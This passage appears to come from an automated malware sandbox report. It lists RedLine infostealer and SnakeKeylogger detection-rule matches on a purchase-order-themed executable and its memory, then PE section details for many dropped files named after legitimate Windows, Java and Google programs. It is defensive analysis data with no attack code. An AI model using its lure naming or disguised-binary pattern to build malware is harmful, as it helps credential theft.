Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.6272458.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 22.2.YRtQgzFlDnVSru.exe.36cce48.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 42.2.vbc.exe.9ad0000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.73b79a6.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.7590000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: pingsender.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: plugin-container.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: private_browsing.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: updater.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jucheck.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jusched.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: pingsender.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: plugin-container.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: private_browsing.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: updater.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jucheck.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jusched.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
